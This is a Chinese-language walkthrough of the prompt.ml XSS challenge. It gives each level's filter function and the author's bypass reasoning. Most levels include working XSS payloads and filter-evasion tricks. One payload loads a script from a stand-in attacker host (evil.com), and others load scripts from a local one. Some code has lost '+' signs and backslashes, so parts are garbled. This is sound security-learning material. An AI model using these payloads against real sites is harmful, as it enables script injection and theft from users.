Prompt 1 to win

2023-05-09 14:21:16 浏览数 (1)

平台地址:http://prompt.ml/

0. 轻松的开始

代码语言:javascript复制
function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="'   input   '">';
}

payload

代码语言:javascript复制
">';<script>prompt(1)</script>>
"><svg/onload=prompt(1)>
"><img src="x" onerror=prompt(1)>

"onresize=prompt(1)>

1. 过滤 </

代码语言:javascript复制
function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /</?[^>] >/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>'   input   '</article>';
}

/</?[^>] >/gi 限定了 gi 意味着大小写和双写是绕不过的

(或许可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制 思路,但是没多大意义)

payload

代码语言:javascript复制
<svg/onload=prompt(1)  // (1) 后有空格

2. 过滤 =(

代码语言:javascript复制
function escape(input) {
    //v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

payload

代码语言:javascript复制
( 用 html 实体编码绕过
// Firefox
<svg><script>prompt&#x28;1)<b>
// Chrome
<svg><script>prompt&#40;1)</script>
// ES6
<script>eval.call`${'promptx281)'}`</script>
<script>prompt.call`${1}`</script>

3. 注释符

代码语言:javascript复制
function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- '   input   ' -->';
}

payload

代码语言:javascript复制
--> 和 --!> 都能闭合注释
--!><svg/onload=prompt(1)

4. 假同域

代码语言:javascript复制
function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?//prompt.ml//i
        .test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

分析

代码语言:javascript复制
// sample script: http://prompt.ml/js/test.js

看上去只能引用同域下的 js,但这里有个 decodeURIComponent 进行解码,很容易编码绕过。

// 的 URL 编码形式,浏览器将识别为普通的字符,再利用下 @,这种技巧 SSRF 当中经常遇到。

payload

代码语言:javascript复制
//prompt.ml/@evil.com/xss.js

一直不弹窗,打开 F12,发现了下面这个,原来是被 Chrome 拦截了 Provisional headers are shown

5. 未多行匹配

代码语言:javascript复制
function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on. ?=|focus/gi, '_');

    return '<input value="'   input   '" type="text">';
}

分析

没未启多行匹配,换行即可绕过一些限制,这一点很管用。

payload

代码语言:javascript复制
type=image	定义图像形式的提交按钮。
"type=image src onerror
="prompt(1)

6. form 属性

代码语言:javascript复制
function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML   '                         n
<script>                                                  n
    // forbid javascript: or vbscript: and data: stuff    n
    if (!/script:|data:/i.test(document.forms[0].action)) n
        document.forms[0].submit();                       n
    else                                                  n
        document.write("Action forbidden.")               n
</script>                                                 n
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}

payload

代码语言:javascript复制
javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}

后面的 action 覆盖了,可以过正则,但我的疑问是覆盖掉了,前面的 action 值不会变吗
看输出的HTML,<form action='' 这里直接是第一个值,验证的时候是document.forms[0].action,
应该是这里的问题,再好好想想

7. 长度限制

代码语言:javascript复制
function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="'   title.slice(0, 12)   '"></p>';
    }).join('n');
}

payload

代码语言:javascript复制
我的第一想法是,存起来,然后在拼一下,然而不太现实
”><svg/onload'/*#*/=prompt(1) 直接这样的话长度会超了
这个操作太强了
"><svg/a=#"onload='/*#*/prompt(1)'
<p class="comment" title=""><svg/a="></p><p class="comment" title=""
onload='/*"></p><p class="comment" title="*/prompt(1)'"></p>

单引号没必要吧,"><svg/a=#"onload=/*#*/prompt(1)


"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

Background Info
The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>

8. 换行符

代码语言:javascript复制
function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[rn</"]/g, '');

    return '                                n
<script>                                    n
    // console.log("'   input   '");        n
</script> ';
}

payload

代码语言:javascript复制
补充知识
Javascript 中 valid line separators 除了r n,还有:
u2028 (Line Separator)
u2029 (Paragraph Separator)
--> 在js中可以当作注释符(单行注释)

[U2028]prompt(1)[u2028]-->
一直不弹窗,字符打不出来?

9. 特殊字符献奇招

代码语言:javascript复制
function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>'   input   '</h1>';
}

payload

代码语言:javascript复制
code-breaking 中 easy-nodechr 类似,形近字绕过
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
混入了两个奇特的字符"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说
"ı".toUpperCase() == 'I',
"ſ".toUpperCase() == 'S'。
通过这个小特性可以绕过一些限制。

<ſvg/onload=prompt(1)
此路不通,prompt 大写失效

unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动转换为英文字母,而在url中,协议和域名是不区分大小写
<ſvg><ſcript/href=//127.0.0.1/xss.js>
<ſcript/ſrc=//127.0.0.1/xss.js></ſcript>

10. 多次过滤帮倒忙

代码语言:javascript复制
function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');
    // (╯°□°)╯︵ /(.□. )DONT FLIP ME BRO
    return '<script>'   input   '</script> ';
}

payload

代码语言:javascript复制
前后呼应
p'rompt(1)

11.

代码语言:javascript复制
function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|s */\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, '   memberName   '."}';

    // directly "parse" data in script context
    return '                                n
<script>                                    n
    var data = '   dataString   ';          n
    if (data.action === "login")            n
        document.write(data.message)        n
</script> ';
}

payload

代码语言:javascript复制
小 trick
"string"(prompt(1)) 将正常执行
"(prompt(1))in"
这里的 in 还可以用 instanceof 替代

Same story with alert(1)in"test":
TypeError: Cannot use 'in' operator to search for 'undefined' in test

12

代码语言:javascript复制
function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( o°o)
    return '<script>'   input   '</script> ';
}

payload

代码语言:javascript复制
encodeURIComponent() 不会对 ASCII 字母和数字进行编码,
也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
尝试使用 String.fromCharCode(112, 114, 111, 109, 112, 116),但是 , 被编码

.() 不会被编码,所以可以利用 toString() 构造
toString(radix) 中 radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用 
注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接
parseInt('prompt', 36) //1558153217
eval((1558153217).toString(36))(1)

还可以
eval(1558153217..toString(36))(1)

甚至可以直接暴力循环着self里的函数,找到prompt:
for((i)in(self))eval(i)(1)

13

代码语言:javascript复制
 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i  ) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"https://img.yuanmabao.com/zijie/pic/2023/05/09/0idepzmz5tt.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^w:/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

payload

代码语言:javascript复制

14

代码语言:javascript复制
function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(///|w :/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\& %s]|vbs/gi, '_');

    return '<img src="'   input   '">';
}

payload

代码语言:javascript复制

15

代码语言:javascript复制
function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="'   title.slice(0, 15)   '" data-comment='{"id":'   index   '}'></p>';
    }).join('n');
}

payload

代码语言:javascript复制
与第 7 关类似,但是 /* 被过滤
那这里就可以用 HTML 的注释符
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

源码将变成:
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

-1

代码语言:javascript复制
function escape(input) {
    // WORLD -1
    // strip off certain characters from breaking conditional statement
    input = input.replace(/[}<]/g, '');

    return '                                                     n
<script>                                                         n
    if (history.length > 1337) {                                 n
        // you can inject any code here                          n
        // as long as it will be executed                        n
        {{injection}}                                            n
    }                                                            n
</script>                                                        n
    '.replace('{{injection}}', input);
}

-2

代码语言:javascript复制
function escape(input) {
    // Christmas special edition!
    // Ho ho ho these characters are in Santa's naughty list
    input = input.replace(/[!=*`]/g, '');
    // pass in your wishes like pets#toys#half-life3...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // Don't be greedy! Each present can only contain 20 characters
        return '<p class="present" title="'   title.slice(0, 20)   '"></p>';
    }).join('n');
}

-3

代码语言:javascript复制
function escape(input) {
    // I iz fabulous cat
    // cat hatez dem charz
    var query = input.replace(/[&#>]/g, '');
    var script = document.createElement('script');
    // find me on Twttr
    script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url='   query   '&callback=swag';
    return '<input name="query" type="hidden" value="'   query   '">'  
        script.outerHTML;
}

-4

代码语言:javascript复制
function escape(input) {
    // You know the rules and so do I
    input = input.replace(/"/g, '');

    return '<body onload="think.out.of.the.box('   input   ')">';
}

分析

被过滤了,

payload

0 人点赞